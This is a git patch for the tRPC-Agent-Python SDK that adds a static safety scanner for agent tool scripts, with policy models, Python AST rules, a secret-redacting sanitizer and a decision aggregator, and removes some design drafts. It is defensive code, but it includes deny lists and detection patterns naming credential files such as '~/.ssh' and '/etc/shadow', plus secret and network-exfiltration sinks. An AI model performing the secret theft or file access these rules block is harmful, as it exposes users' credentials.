sorted({finding.rule_id for finding in self.findings}) + + def as_dict(self) -> dict[str, Any]: + """Return a JSON-compatible report.""" + return self.model_dump(mode="json") + + +class SafetyAuditEvent(BaseModel): + """Audit event emitted before execution.""" + + timestamp: str + tool_name: str + decision: SafetyDecision + risk_level: RiskLevel + rule_ids: list[str] + duration_ms: float + redacted: bool + execution_blocked: bool + + +DECISION_PRIORITY = { + SafetyDecision.ALLOW: 0, + SafetyDecision.NEEDS_HUMAN_REVIEW: 1, + SafetyDecision.DENY: 2, +} + +RISK_PRIORITY = { + RiskLevel.NONE: 0, + RiskLevel.LOW: 1, + RiskLevel.MEDIUM: 2, + RiskLevel.HIGH: 3, + RiskLevel.CRITICAL: 4, +} + + +class _StrictPolicyLoader(yaml.SafeLoader): + """YAML loader that rejects duplicate mapping keys.""" + + +def _construct_unique_mapping(loader: _StrictPolicyLoader, node: MappingNode, deep: bool = False) -> dict: + mapping = {} + for key_node, value_node in node.value: + key = loader.construct_object(key_node, deep=deep) + if key in mapping: + raise ConstructorError( + "while constructing a mapping", + node.start_mark, + f"duplicate policy field: {key}", + key_node.start_mark, + ) + mapping[key] = loader.construct_object(value_node, deep=deep) + return mapping + + +_StrictPolicyLoader.add_constructor( + yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, + _construct_unique_mapping, +) + + +class ToolSafetyPolicy(BaseModel): + """Configurable safety policy.""" + + model_config = ConfigDict(extra="forbid") + + version: int = POLICY_VERSION + allowed_domains: list[str] = Field(default_factory=list) + allowed_commands: list[str] = Field(default_factory=list) + forbidden_paths: list[str] = Field(default_factory=lambda: ["~/.ssh", ".env", "/etc/shadow"]) + max_timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS + max_output_bytes: int = DEFAULT_OUTPUT_BYTES + long_sleep_seconds: int = DEFAULT_LONG_SLEEP_SECONDS + large_write_bytes: int = DEFAULT_LARGE_WRITE_BYTES + max_concurrency: int = DEFAULT_MAX_CONCURRENCY + + @field_validator("version") + @classmethod + def _validate_version(cls, value: int) -> int: + if value != POLICY_VERSION: + raise ValueError(f"unsupported policy version: {value}") + return value + + @field_validator( + "max_timeout_seconds", + "max_output_bytes", + "long_sleep_seconds", + "large_write_bytes", + "max_concurrency", + ) + @classmethod + def _validate_positive(cls, value: int) -> int: + if value <= 0: + raise ValueError("policy limits must be greater than zero") + return value + + @field_validator("allowed_domains", "allowed_commands", "forbidden_paths") + @classmethod + def _validate_entries(cls, values: list[str]) -> list[str]: + normalized = [value.strip() for value in values] + if any(not value for value in normalized): + raise ValueError("policy list entries must not be empty") + return normalized + + @classmethod + def from_yaml(cls, path: str | Path) -> "ToolSafetyPolicy": + """Load a policy from YAML.""" + policy_path = Path(path) + try: + raw = yaml.load( + policy_path.read_text(encoding="utf-8"), + Loader=_StrictPolicyLoader, + ) + except (OSError, yaml.YAMLError) as error: + raise ValueError(f"unable to load tool safety policy: {policy_path}") from error + if not isinstance(raw, dict): + raise ValueError("tool safety policy must be a YAML mapping") + try: + return cls.model_validate(raw) + except ValidationError as error: + fields = sorted( + {".".join(str(item) for item in detail["loc"]) + for detail in error.errors(include_input=False)}) + raise ValueError(f"invalid tool safety policy fields: {', '.join(fields)}") from error diff --git a/trpc_agent_sdk/tools/safety/_python_rules.py b/trpc_agent_sdk/tools/safety/_python_rules.py new file mode 100644 index 000000000..541c77ded --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_python_rules.py @@ -0,0 +1,390 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Python AST safety rules.""" + +from __future__ import annotations + +import ast +from dataclasses import dataclass +import re +import shlex +from typing import Any +from urllib.parse import urlparse + +from ._bash_rules import scan_bash +from ._common_rules import host_allowed +from ._common_rules import path_forbidden +from ._common_rules import path_is_system_location +from ._models import RiskCategory +from ._models import RiskLevel +from ._models import SafetyDecision +from ._models import SafetyFinding +from ._models import ScriptScanRequest +from ._models import ToolSafetyPolicy +from ._common_rules import make_finding +from ._common_rules import RuleSpec +from ._sanitizer import SafetySanitizer + +_NETWORK_ROOTS = frozenset({"requests", "aiohttp", "socket", "urllib", "httpx"}) +_PROCESS_CALLS = frozenset({"subprocess.run", "subprocess.call", "subprocess.Popen", "os.system", "os.popen"}) +_DELETE_CALLS = frozenset({"shutil.rmtree"}) +_DIRECT_FILE_CALLS = frozenset({"open", "io.open", "os.open", "os.remove", "os.unlink", "os.rmdir"}) +_PATH_METHODS = frozenset({"open", "read_text", "read_bytes", "write_text", "write_bytes", "unlink", "rmdir"}) +_OUTPUT_CALLS = frozenset( + {"print", "logging.info", "logging.warning", "logging.error", "logger.info", "logger.warning", "logger.error"}) +_SECRET_NAME_RE = re.compile( + r"(?i)(api[_-]?key|access[_-]?key|authorization|credential|token|password|passwd|secret|private[_-]?key)") + +FILE_DELETE = RuleSpec( + RiskCategory.FILE, + RiskLevel.CRITICAL, + SafetyDecision.DENY, + "Remove recursive deletion or constrain it to an approved workspace.", +) +FILE_DENY = RuleSpec( + RiskCategory.FILE, + RiskLevel.HIGH, + SafetyDecision.DENY, + "Remove access to sensitive or forbidden paths.", +) +FILE_REVIEW = RuleSpec( + RiskCategory.FILE, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Resolve and approve the dynamic file path.", +) +NETWORK_DENY = RuleSpec( + RiskCategory.NETWORK, + RiskLevel.HIGH, + SafetyDecision.DENY, + "Use a literal destination from allowed_domains.", +) +NETWORK_REVIEW = RuleSpec( + RiskCategory.NETWORK, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Resolve and approve the dynamic destination.", +) +PROCESS_REVIEW = RuleSpec( + RiskCategory.PROCESS, + RiskLevel.HIGH, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Use an approved direct API or obtain human approval.", +) +RESOURCE_DENY = RuleSpec( + RiskCategory.RESOURCE, + RiskLevel.CRITICAL, + SafetyDecision.DENY, + "Replace the unbounded loop with a bounded operation.", +) +RESOURCE_REVIEW = RuleSpec( + RiskCategory.RESOURCE, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Reduce the requested resource use.", +) +SECRET_DENY = RuleSpec( + RiskCategory.SECRET, + RiskLevel.CRITICAL, + SafetyDecision.DENY, + "Remove sensitive values from output, files, and network sinks.", +) +SYNTAX_REVIEW = RuleSpec( + RiskCategory.POLICY, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Fix the syntax or review the script manually.", +) + + +@dataclass(frozen=True) +class _PythonScanContext: + source: str + request: ScriptScanRequest + policy: ToolSafetyPolicy + sanitizer: SafetySanitizer + + +class PythonRuleVisitor(ast.NodeVisitor): + """Single-pass, bounded Python rule visitor.""" + + def __init__(self, context: _PythonScanContext): + self._context = context + self._aliases: dict[str, str] = {} + self._constants: dict[str, str] = {} + self._path_values: dict[str, str | None] = {} + self._secret_names: set[str] = set() + self.findings: list[SafetyFinding] = [] + self.redacted = False + + def _add(self, rule_id: str, node: ast.AST, spec: RuleSpec) -> None: + evidence = ast.get_source_segment(self._context.source, node) + finding, changed = make_finding(rule_id, evidence or node.__class__.__name__, spec, self._context.sanitizer) + self.findings.append(finding) + self.redacted = self.redacted or changed + + def _name(self, node: ast.AST) -> str: + if isinstance(node, ast.Name): + return self._aliases.get(node.id, node.id) + if isinstance(node, ast.Attribute): + prefix = self._name(node.value) + return f"{prefix}.{node.attr}" if prefix else node.attr + if isinstance(node, ast.Call): + return self._name(node.func) + return "" + + def _string(self, node: ast.AST) -> str | None: + if isinstance(node, ast.Constant) and isinstance(node.value, str): + return node.value + if isinstance(node, ast.Name): + return self._constants.get(node.id) + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add): + left, right = self._string(node.left), self._string(node.right) + return left + right if left is not None and right is not None else None + return None + + def _contains_secret(self, node: ast.AST) -> bool: + for child in ast.walk(node): + if isinstance(child, ast.Name) and child.id in self._secret_names: + return True + if isinstance(child, ast.Constant) and isinstance(child.value, str): + if _SECRET_NAME_RE.search(child.value) or "PRIVATE KEY-----" in child.value: + return True + return False + + def visit_Import(self, node: ast.Import) -> Any: + for item in node.names: + self._aliases[item.asname or item.name] = item.name + + def visit_ImportFrom(self, node: ast.ImportFrom) -> Any: + module = node.module or "" + for item in node.names: + self._aliases[item.asname or item.name] = f"{module}.{item.name}".strip(".") + + def visit_Assign(self, node: ast.Assign) -> Any: + value = self._string(node.value) + symbolic = self._symbolic_value(node.value) + for target in node.targets: + if not isinstance(target, ast.Name): + continue + if value is not None: + self._constants[target.id] = value + if symbolic: + self._aliases[target.id] = symbolic + if self._is_path_constructor(node.value): + self._path_values[target.id] = self._path_constructor_value(node.value) + if _SECRET_NAME_RE.search(target.id) or self._contains_secret(node.value): + self._secret_names.add(target.id) + self.generic_visit(node) + + def _symbolic_value(self, node: ast.AST) -> str: + if isinstance(node, (ast.Name, ast.Attribute)): + return self._name(node) + if isinstance(node, ast.Call): + name = self._name(node.func) + if name.split(".", 1)[0] in _NETWORK_ROOTS: + return name + return "" + + def visit_While(self, node: ast.While) -> Any: + if isinstance(node.test, ast.Constant) and node.test.value is True: + self._add("RES001", node, RESOURCE_DENY) + self.generic_visit(node) + + def visit_Call(self, node: ast.Call) -> Any: + name = self._name(node.func) + if name in _DELETE_CALLS: + self._add("FILE001", node, FILE_DELETE) + if name in _PROCESS_CALLS: + self._add("PROC001", node, PROCESS_REVIEW) + self._scan_process_payload(node) + self._scan_resource(node, name) + self._scan_file_access(node, name) + if self._is_network_call(name): + self._scan_network(node, name) + self._scan_secret_sink(node, name) + self.generic_visit(node) + + def _scan_resource(self, node: ast.Call, name: str) -> None: + policy = self._context.policy + if name.endswith(".sleep") and self._number_arg(node) > policy.long_sleep_seconds: + self._add("RES002", node, RESOURCE_REVIEW) + if name.endswith("ThreadPoolExecutor") and self._worker_count(node) > policy.max_concurrency: + self._add("RES002", node, RESOURCE_REVIEW) + if name == "asyncio.gather" and self._gather_is_large(node): + self._add("RES002", node, RESOURCE_REVIEW) + if name.endswith(".write"): + values = list(node.args) + [item.value for item in node.keywords] + if any(self._estimated_size(arg) > policy.large_write_bytes for arg in values): + self._add("RES002", node, RESOURCE_REVIEW) + + def _scan_secret_sink(self, node: ast.Call, name: str) -> None: + values = list(node.args) + [item.value for item in node.keywords] + is_output = name in _OUTPUT_CALLS + is_data_sink = name.endswith((".write", ".send")) or self._is_network_call(name) + if (is_output or is_data_sink) and any(self._contains_secret(arg) for arg in values): + self._add("SECRET001", node, SECRET_DENY) + + def _scan_process_payload(self, node: ast.Call) -> None: + if not node.args: + return + command = self._command(node.args[0]) + if command is None: + return + findings, changed = scan_bash( + command, + self._context.policy, + self._context.sanitizer, + self._context.request, + ) + self.findings.extend(findings) + self.redacted = self.redacted or changed + + def _command(self, node: ast.AST) -> str | None: + value = self._string(node) + if value is not None: + return value + if isinstance(node, (ast.List, ast.Tuple)): + parts = [self._string(item) for item in node.elts] + if all(part is not None for part in parts): + return " ".join(shlex.quote(part or "") for part in parts) + return None + + def _is_network_call(self, name: str) -> bool: + root = name.split(".", 1)[0] + tail = name.split(".")[-1] + return root in _NETWORK_ROOTS and tail in { + "get", "post", "put", "request", "connect", "create_connection", "urlopen" + } + + def _scan_network(self, node: ast.Call, name: str) -> None: + target_node = self._network_target_node(node, name) + target = self._network_target(target_node) if target_node else None + if target is None: + self._add("NET002", node, NETWORK_REVIEW) + return + host = urlparse(target).hostname or target.split(":", 1)[0] + if not host_allowed(host, self._context.policy): + self._add("NET001", node, NETWORK_DENY) + + @staticmethod + def _network_target_node(node: ast.Call, name: str) -> ast.AST | None: + for keyword in node.keywords: + if keyword.arg == "url": + return keyword.value + tail = name.split(".")[-1] + index = 1 if tail == "request" else 0 + return node.args[index] if len(node.args) > index else None + + def _network_target(self, node: ast.AST) -> str | None: + value = self._string(node) + if value is not None: + return value + if isinstance(node, (ast.Tuple, ast.List)) and node.elts: + return self._string(node.elts[0]) + return None + + def _scan_file_access(self, node: ast.Call, name: str) -> None: + path_node = None + recognized = False + if name in _DIRECT_FILE_CALLS and node.args: + recognized, path_node = True, node.args[0] + elif name.split(".")[-1] in _PATH_METHODS: + recognized, path_node = self._receiver_path(node.func) + if not recognized: + return + path = self._string(path_node) if isinstance(path_node, ast.AST) else path_node + if path is None: + self._add("FILE003", node, FILE_REVIEW) + elif self._is_write_call(node, name) and path_is_system_location(path, self._context.request.cwd): + self._add("FILE001", node, FILE_DELETE) + elif path_forbidden(path, self._context.request, self._context.policy): + self._add("FILE002", node, FILE_DENY) + + def _is_write_call(self, node: ast.Call, name: str) -> bool: + tail = name.split(".")[-1] + if tail in {"write_text", "write_bytes"}: + return True + if name == "os.open": + flag_text = ast.get_source_segment(self._context.source, node.args[1]) if len(node.args) > 1 else "" + return bool(flag_text and re.search(r"O_(?:WRONLY|RDWR|CREAT|TRUNC|APPEND)", flag_text)) + if tail != "open": + return False + mode_node = node.args[1] if len(node.args) > 1 else None + for keyword in node.keywords: + if keyword.arg == "mode": + mode_node = keyword.value + mode = self._string(mode_node) if mode_node else "r" + return mode is None or any(flag in mode for flag in "wax+") + + def _receiver_path(self, func: ast.AST) -> tuple[bool, ast.AST | str | None]: + if not isinstance(func, ast.Attribute): + return False, None + receiver = func.value + if self._is_path_constructor(receiver): + return True, receiver.args[0] if receiver.args else None # type: ignore[attr-defined] + if isinstance(receiver, ast.Name) and receiver.id in self._path_values: + return True, self._path_values[receiver.id] + return False, None + + def _is_path_constructor(self, node: ast.AST) -> bool: + return isinstance(node, ast.Call) and self._name(node.func) == "pathlib.Path" + + def _path_constructor_value(self, node: ast.AST) -> str | None: + if not isinstance(node, ast.Call) or not node.args: + return None + return self._string(node.args[0]) + + def _estimated_size(self, node: ast.AST) -> int: + text = self._string(node) + if text is not None: + return len(text.encode("utf-8")) + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Mult): + values = (node.left, node.right) + text_node = next((item for item in values if self._string(item) is not None), None) + count_node = next( + (item for item in values if isinstance(item, ast.Constant) and isinstance(item.value, int)), None) + if text_node is not None and count_node is not None: + return len((self._string(text_node) or "").encode()) * count_node.value + return 0 + + @staticmethod + def _number_arg(node: ast.Call) -> float: + if node.args and isinstance(node.args[0], ast.Constant): + value = node.args[0].value + if isinstance(value, (int, float)): + return float(value) + return 0.0 + + @staticmethod + def _worker_count(node: ast.Call) -> int: + if node.args and isinstance(node.args[0], ast.Constant): + if isinstance(node.args[0].value, int): + return node.args[0].value + for keyword in node.keywords: + if keyword.arg == "max_workers" and isinstance(keyword.value, ast.Constant): + if isinstance(keyword.value.value, int): + return keyword.value.value + return 0 + + def _gather_is_large(self, node: ast.Call) -> bool: + if any(isinstance(arg, ast.Starred) for arg in node.args): + return True + return len(node.args) > self._context.policy.max_concurrency + + +def scan_python(text: str, request: ScriptScanRequest, policy: ToolSafetyPolicy, + sanitizer: SafetySanitizer) -> tuple[list[SafetyFinding], bool]: + """Parse and scan Python source.""" + try: + tree = ast.parse(text) + except SyntaxError as error: + finding, redacted = make_finding("PY001", str(error), SYNTAX_REVIEW, sanitizer) + return [finding], redacted + context = _PythonScanContext(text, request, policy, sanitizer) + visitor = PythonRuleVisitor(context) + visitor.visit(tree) + return visitor.findings, visitor.redacted diff --git a/trpc_agent_sdk/tools/safety/_sanitizer.py b/trpc_agent_sdk/tools/safety/_sanitizer.py new file mode 100644 index 000000000..f05e77509 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_sanitizer.py @@ -0,0 +1,107 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Secret-safe evidence handling.""" + +from __future__ import annotations + +import re +from typing import Any + +DEFAULT_EVIDENCE_CHARS = 240 +REDACTED_SECRET = "[REDACTED_SECRET]" +REDACTED_PRIVATE_KEY = "[REDACTED_PRIVATE_KEY]" +_OUTPUT_KEYS = ("stdout", "stderr", "output") + +_PRIVATE_KEY_RE = re.compile( + r"-----BEGIN [^-]*PRIVATE KEY-----.*?-----END [^-]*PRIVATE KEY-----", + re.IGNORECASE | re.DOTALL, +) +_QUOTED_SECRET_RE = re.compile( + r"(?i)\b(api[_-]?key|token|password|passwd|authorization|secret)" + r"(\s*[=:]\s*)([\"'])(.*?)\3", + re.DOTALL, +) +_JSON_SECRET_RE = re.compile( + r"(?i)([\"'](?:api[_-]?key|token|password|passwd|authorization|secret)[\"']\s*:\s*)" + r"([\"'])(.*?)\2", + re.DOTALL, +) +_NAMED_SECRET_RE = re.compile( + r"(?i)\b(api[_-]?key|token|password|passwd|authorization|secret)" + r"(\s*[=:]\s*|[\"']\s*:\s*[\"'])" + r"([\"']?)[^\s,\"'};]+", ) +_BEARER_RE = re.compile(r"(?i)\bbearer\s+[A-Za-z0-9._~+/=-]+") +_COMMON_TOKEN_RE = re.compile(r"\b(?:sk|ghp|xox[baprs])[-_][A-Za-z0-9_-]{12,}\b") +_URL_USERINFO_RE = re.compile(r"(?i)(https?://[^/\s:@]+:)[^@/\s]+@") + + +def _redact_quoted(match: re.Match) -> str: + quote = match.group(3) + return f"{match.group(1)}{match.group(2)}{quote}{REDACTED_SECRET}{quote}" + + +def _redact_json(match: re.Match) -> str: + quote = match.group(2) + return f"{match.group(1)}{quote}{REDACTED_SECRET}{quote}" + + +class SafetySanitizer: + """Redact secrets before limiting evidence length.""" + + def __init__(self, evidence_chars: int = DEFAULT_EVIDENCE_CHARS): + if evidence_chars <= 0: + raise ValueError("evidence_chars must be greater than zero") + self._evidence_chars = evidence_chars + + def sanitize(self, value: object) -> tuple[str, bool]: + """Return safe text and whether redaction occurred.""" + text = str(value) + redacted = False + for pattern, replacement in ( + (_PRIVATE_KEY_RE, REDACTED_PRIVATE_KEY), + (_URL_USERINFO_RE, rf"\1{REDACTED_SECRET}@"), + (_BEARER_RE, f"Bearer {REDACTED_SECRET}"), + (_JSON_SECRET_RE, _redact_json), + (_QUOTED_SECRET_RE, _redact_quoted), + (_NAMED_SECRET_RE, rf"\1\2{REDACTED_SECRET}"), + (_COMMON_TOKEN_RE, REDACTED_SECRET), + ): + text, count = pattern.subn(replacement, text) + redacted = redacted or count > 0 + if len(text) > self._evidence_chars: + text = text[:self._evidence_chars] + "..." + return text, redacted + + +def truncate_text(value: str, max_bytes: int) -> tuple[str, bool]: + """Truncate text at a valid UTF-8 boundary.""" + encoded = value.encode("utf-8") + if len(encoded) <= max_bytes: + return value, False + truncated = encoded[:max_bytes].decode("utf-8", errors="ignore") + return truncated, True + + +def truncate_output(value: Any, max_bytes: int) -> Any: + """Limit common Tool output fields without changing unrelated data.""" + if isinstance(value, str): + return truncate_text(value, max_bytes)[0] + if not isinstance(value, dict): + return value + result = dict(value) + was_truncated = False + remaining = max_bytes + for key in _OUTPUT_KEYS: + item = result.get(key) + if not isinstance(item, str): + continue + limited, changed = truncate_text(item, max(remaining, 0)) + result[key] = limited + remaining -= len(limited.encode("utf-8")) + was_truncated = was_truncated or changed + if was_truncated: + result["truncated"] = True + return result diff --git a/trpc_agent_sdk/tools/safety/_scanner.py b/trpc_agent_sdk/tools/safety/_scanner.py new file mode 100644 index 000000000..4a9c10302 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_scanner.py @@ -0,0 +1,234 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Tool script safety scan orchestration.""" + +from __future__ import annotations + +import time + +from ._bash_rules import nested_payloads +from ._bash_rules import scan_bash +from ._bash_rules import stdin_language +from ._common_rules import scan_limits +from ._common_rules import scan_paths +from ._models import DECISION_PRIORITY +from ._models import RISK_PRIORITY +from ._models import RiskLevel +from ._models import SafetyDecision +from ._models import SafetyFinding +from ._models import SafetyReport +from ._models import ScriptLanguage +from ._models import ScriptPayload +from ._models import ScriptScanRequest +from ._models import ToolSafetyPolicy +from ._python_rules import scan_python +from ._sanitizer import SafetySanitizer +from ._common_rules import make_finding +from ._common_rules import RuleSpec +from ._models import RiskCategory + +MAX_NESTED_PAYLOAD_DEPTH = 4 +SCAN_ERROR_SPEC = RuleSpec( + RiskCategory.POLICY, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Review the request because static scanning could not complete.", +) + + +class ToolScriptSafetyGuard: + """Static scanner and decision aggregator.""" + + def __init__(self, policy: ToolSafetyPolicy, sanitizer: SafetySanitizer | None = None): + self.policy = policy + self.sanitizer = sanitizer or SafetySanitizer() + + @classmethod + def from_policy(cls, path: str) -> "ToolScriptSafetyGuard": + """Create a guard from YAML.""" + return cls(ToolSafetyPolicy.from_yaml(path)) + + def scan(self, request: ScriptScanRequest) -> SafetyReport: + """Scan a normalized request.""" + started = time.perf_counter() + findings, redacted = scan_limits(request, self.policy, self.sanitizer) + context_findings, changed = self._scan_request_context(request) + findings.extend(context_findings) + redacted = redacted or changed + if request.applicable and not request.payloads: + findings.extend(self._missing_payload()) + for payload in request.payloads: + payload_findings, changed = self._scan_payload(payload, request, 0) + findings.extend(payload_findings) + redacted = redacted or changed + findings = self._deduplicate(findings) + decision = self._decision(findings) + risk = self._risk(findings) + duration_ms = (time.perf_counter() - started) * 1000 + summary = self._summary(request, decision, findings) + return SafetyReport( + decision=decision, + risk_level=risk, + findings=findings, + duration_ms=duration_ms, + redacted=redacted, + summary=summary, + applicable=request.applicable, + effective_timeout_seconds=request.effective_timeout_seconds, + max_output_bytes=request.max_output_bytes, + ) + + def error_report(self, error: Exception) -> SafetyReport: + """Convert scan/adapter failures into a sanitized blocking report.""" + finding, redacted = make_finding("POLICY005", error, SCAN_ERROR_SPEC, self.sanitizer) + return SafetyReport( + decision=SafetyDecision.NEEDS_HUMAN_REVIEW, + risk_level=RiskLevel.MEDIUM, + findings=[finding], + duration_ms=0, + redacted=redacted, + summary="needs_human_review: safety scan failed.", + max_output_bytes=self.policy.max_output_bytes, + effective_timeout_seconds=float(self.policy.max_timeout_seconds), + ) + + def _scan_payload( + self, + payload: ScriptPayload, + request: ScriptScanRequest, + depth: int, + ) -> tuple[list[SafetyFinding], bool]: + findings = [] + redacted = False + if payload.language == ScriptLanguage.PYTHON: + language_findings, changed = scan_python(payload.content, request, self.policy, self.sanitizer) + else: + findings, redacted = scan_paths(payload.content, request, self.policy, self.sanitizer) + language_findings, changed = scan_bash(payload.content, self.policy, self.sanitizer, request) + findings.extend(language_findings) + redacted = redacted or changed + if payload.language == ScriptLanguage.BASH: + nested_findings, changed = self._scan_nested(payload, request, depth) + findings.extend(nested_findings) + redacted = redacted or changed + if payload.stdin: + stdin_findings, changed = self._scan_stdin(payload, request, depth) + findings.extend(stdin_findings) + redacted = redacted or changed + return findings, redacted + + def _scan_stdin( + self, + payload: ScriptPayload, + request: ScriptScanRequest, + depth: int, + ) -> tuple[list[SafetyFinding], bool]: + language = stdin_language(payload.content) + if language is None: + return scan_paths(payload.stdin, request, self.policy, self.sanitizer) + stdin_payload = ScriptPayload( + language=language, + content=payload.stdin, + source=f"{payload.source}.stdin", + ) + return self._scan_payload(stdin_payload, request, depth + 1) + + def _scan_request_context( + self, + request: ScriptScanRequest, + ) -> tuple[list[SafetyFinding], bool]: + text = " ".join( + [request.cwd, *request.env_keys, *(arg for payload in request.payloads for arg in payload.argv)]) + findings, redacted = scan_paths(text, request, self.policy, self.sanitizer) + if request.background or request.tty: + spec = RuleSpec( + RiskCategory.PROCESS, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Disable background/TTY execution or obtain approval.", + ) + finding, changed = make_finding("PROC003", "background or TTY execution requested", spec, self.sanitizer) + findings.append(finding) + redacted = redacted or changed + return findings, redacted + + def _scan_nested( + self, + payload: ScriptPayload, + request: ScriptScanRequest, + depth: int, + ) -> tuple[list[SafetyFinding], bool]: + nested = nested_payloads(payload.content) + if not nested: + return [], False + if depth >= MAX_NESTED_PAYLOAD_DEPTH: + return self._recursion_finding(), False + findings = [] + redacted = False + for item in nested: + item_findings, changed = self._scan_payload(item, request, depth + 1) + findings.extend(item_findings) + redacted = redacted or changed + return findings, redacted + + def _missing_payload(self) -> list[SafetyFinding]: + spec = RuleSpec( + RiskCategory.POLICY, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Provide the executable payload for scanning.", + ) + finding, _ = make_finding("POLICY003", "execution payload unavailable", spec, self.sanitizer) + return [finding] + + def _recursion_finding(self) -> list[SafetyFinding]: + spec = RuleSpec( + RiskCategory.POLICY, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Review deeply nested interpreter commands.", + ) + finding, _ = make_finding("POLICY004", "nested interpreter depth exceeded", spec, self.sanitizer) + return [finding] + + @staticmethod + def _deduplicate(findings: list[SafetyFinding]) -> list[SafetyFinding]: + result = [] + seen = set() + for finding in findings: + key = (finding.rule_id, finding.evidence) + if key not in seen: + result.append(finding) + seen.add(key) + return sorted(result, key=lambda item: (item.rule_id, item.evidence)) + + @staticmethod + def _decision(findings: list[SafetyFinding]) -> SafetyDecision: + return max( + (finding.decision for finding in findings), + key=lambda value: DECISION_PRIORITY[value], + default=SafetyDecision.ALLOW, + ) + + @staticmethod + def _risk(findings: list[SafetyFinding]) -> RiskLevel: + return max( + (finding.risk_level for finding in findings), + key=lambda value: RISK_PRIORITY[value], + default=RiskLevel.NONE, + ) + + @staticmethod + def _summary( + request: ScriptScanRequest, + decision: SafetyDecision, + findings: list[SafetyFinding], + ) -> str: + if not request.applicable: + return "Tool is not an executable script entry point." + if not findings: + return "No configured static safety rule matched." + return f"{decision.value}: {len(findings)} safety finding(s)." From 9a7af9cd7a2af917c5c0917b027249a27bf20999 Mon Sep 17 00:00:00 2001 From: qtds Date: Sun, 26 Jul 2026 20:05:37 +0800 Subject: [PATCH 02/29] fix(safety): close scanner fail-open paths Invalidate ambiguous Python bindings, recognize builtins.open, and conservatively scan unknown execution tools. Remove unrequested design documents from the PR. --- .../tool-script-safety-guard-design-draft.md | 303 ---------- .../design/tool-script-safety-guard-design.md | 550 ------------------ examples/tool_safety_guard/README.md | 11 + tests/tools/safety/test_adapters.py | 13 +- tests/tools/safety/test_filter.py | 20 +- tests/tools/safety/test_scanner.py | 44 ++ trpc_agent_sdk/tools/safety/_integration.py | 9 +- trpc_agent_sdk/tools/safety/_python_rules.py | 153 ++++- 8 files changed, 226 insertions(+), 877 deletions(-) delete mode 100644 docs/design/tool-script-safety-guard-design-draft.md delete mode 100644 docs/design/tool-script-safety-guard-design.md diff --git a/docs/design/tool-script-safety-guard-design-draft.md b/docs/design/tool-script-safety-guard-design-draft.md deleted file mode 100644 index 52e2b3500..000000000 --- a/docs/design/tool-script-safety-guard-design-draft.md +++ /dev/null @@ -1,303 +0,0 @@ -# Tool Script Safety Guard 初版设计 - -## 1. 目标与边界 - -在 Tool 真正执行 Python 脚本或 Bash 命令前完成静态风险扫描，输出 -`allow`、`deny`、`needs_human_review`，并生成结构化报告、JSONL 审计事件和 -OpenTelemetry span attributes。 - -本实现负责“执行前风险识别与阻断”，不负责替代容器、权限隔离、网络隔离、 -文件系统隔离或运行时资源配额。静态扫描无法可靠识别动态拼接、编码混淆、 -运行时下载内容和解释器漏洞；生产环境仍必须使用沙箱和最小权限。 - -控制范围： - -- 支持 Python 源码和 Bash 命令。 -- 扫描输入包含脚本、命令行参数、工作目录、环境变量和 tool 元数据。 -- 策略修改后无需改代码即可调整白名单域名、允许命令、禁止路径、最大超时、 - 最大输出大小。 -- 复用现有 `BaseTool -> FilterRunner -> BaseFilter` 前置链路，不修改 - `BaseTool.run_async()`。 -- 首版不实现通用 shell 解释器、数据流分析器、自动审批系统或新的沙箱。 - -## 2. 现有扩展点 - -- `trpc_agent_sdk/tools/_base_tool.py`：`BaseTool.run_async()` 在 - `_run_async_impl()` 前运行 Tool Filter。 -- `trpc_agent_sdk/filter/_base_filter.py`：`BaseFilter._before()` 可设置 - `FilterResult.is_continue = False`，阻止实际执行。 -- `trpc_agent_sdk/tools/_context_var.py`：Filter 可通过 `get_tool_var()` 取得 - tool name 和描述。 -- `trpc_agent_sdk/telemetry/_trace.py`：项目已使用 OpenTelemetry 当前 span； - Safety Guard 只补充要求的 `tool.safety.*` attributes。 -- 项目已有 Pydantic、PyYAML、日志设施，直接复用。 - -## 3. 总体设计 - -执行流： - -```text -Tool args - -> ToolSafetyFilter._before - -> ScriptScanRequest 规范化/脱敏 - -> ToolScriptSafetyGuard.scan - -> Python AST 规则 - -> Bash/通用文本规则 - -> 策略约束规则 - -> 聚合 decision/risk_level - -> SafetyReport - -> JSONL audit + current span attributes - -> allow: 继续执行 - deny/review: FilterResult.is_continue=False，返回结构化报告 -``` - -`needs_human_review` 在未接入审批器时按“阻断等待审批”处理，不能继续执行。 - -### 3.1 数据模型 - -使用 Pydantic，统一序列化和配置校验： - -- `SafetyDecision`：`allow | deny | needs_human_review`。 -- `RiskLevel`：`none | low | medium | high | critical`。 -- `RiskCategory`：文件、网络、进程、依赖、资源、敏感信息、策略。 -- `ScriptLanguage`：`python | bash`。 -- `ToolMetadata`：tool name、description、可选 tags。 -- `ScriptScanRequest`：language、content、argv、cwd、env、metadata、 - requested timeout/output size。 -- `SafetyFinding`：category、risk level、rule id、evidence、recommendation、 - decision。 -- `SafetyReport`：最终 decision、risk level、findings、scan duration、 - redacted 标记和安全摘要。 -- `SafetyAuditEvent`：tool name、decision、risk level、rule ids、耗时、 - redacted、execution_blocked、timestamp。 